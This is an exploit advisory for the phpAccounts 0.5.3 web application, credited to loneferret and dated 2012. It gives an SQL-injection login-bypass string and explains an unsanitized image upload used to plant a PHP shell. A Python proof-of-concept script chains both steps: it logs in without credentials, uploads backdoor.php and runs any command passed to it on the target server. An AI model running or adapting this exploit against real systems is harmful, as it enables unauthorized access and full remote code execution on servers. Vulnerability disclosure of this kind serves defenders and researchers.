phpAcounts 0.5.3 – SQL Injection
###################################################################################### # Exploit phpAcounts v.0.5.3 SQL Injection # Date: June 6nd 2012 # Author: loneferret # Version: 0.5.3 # Vendor Url: http://phpaccounts.com/ # Tested on: Ubuntu Server 11.10 ###################################################################################### # Discovered by: loneferret ###################################################################################### # Old app, still fun. Auth. Bypass: http://<server>/phpaccounts/index.php Username: x' or '1'='1'# Password: <whatever> Upload php shell in preferences Letterhead image upload does not sanitize file extensions. http://server/index.php?page=tasks&action=preferences Acess shell: Where '1' is the user's ID. http://server/phpaccounts/users/1/<filename> ---- Python PoC --------- #!/usr/bin/python import re, mechanize import urllib, sys print "\n[*] phpAcounts v.0.5.3 Remote Code Execution" print "[*] Vulnerability discovered by loneferret" print "[*] Offensive Security - http://www.offensive-security.com\n" if (len(sys.argv) != 3): print "[*] Usage: poc.py <RHOST> <RCMD>" exit(0) rhost = sys.argv[1] rcmd = sys.argv[2] print "[*] Bypassing Login ." try: br = mechanize.Browser() br.open("http://%s/phpaccounts/index.php?frameset=true" % rhost) assert br.viewing_html() br.select_form(name="loginForm") br.select_form(nr=0) br.form['Login_Username'] = "x' or '1'#" br.form['Login_Password'] = "pwnd" print "[*] Triggering SQLi .." br.submit() except: print "[*] Oups..Something happened" exit(0) print "[*] Uploading Shell ..." try: br.open("http://%s/phpaccounts/index.php?page=tasks&action=preferences" % rhost) assert br.viewing_html() br.select_form(nr=0) br.form["Preferences[LETTER_HEADER]"] = 'test' br.form.add_file(open('backdoor.php'), "text/plain", "backdoor.php", name="letterhead_image") br.submit(nr=2) except: print "[*] Upload didn't work" exit(0) print "[*] Command Executed\n" try: shell = urllib.urlopen("http://%s/phpaccounts/users/1/backdoor.php?cmd=%s" % (rhost,rcmd)) print shell.read() except: print "[*] Oups." exit(0) |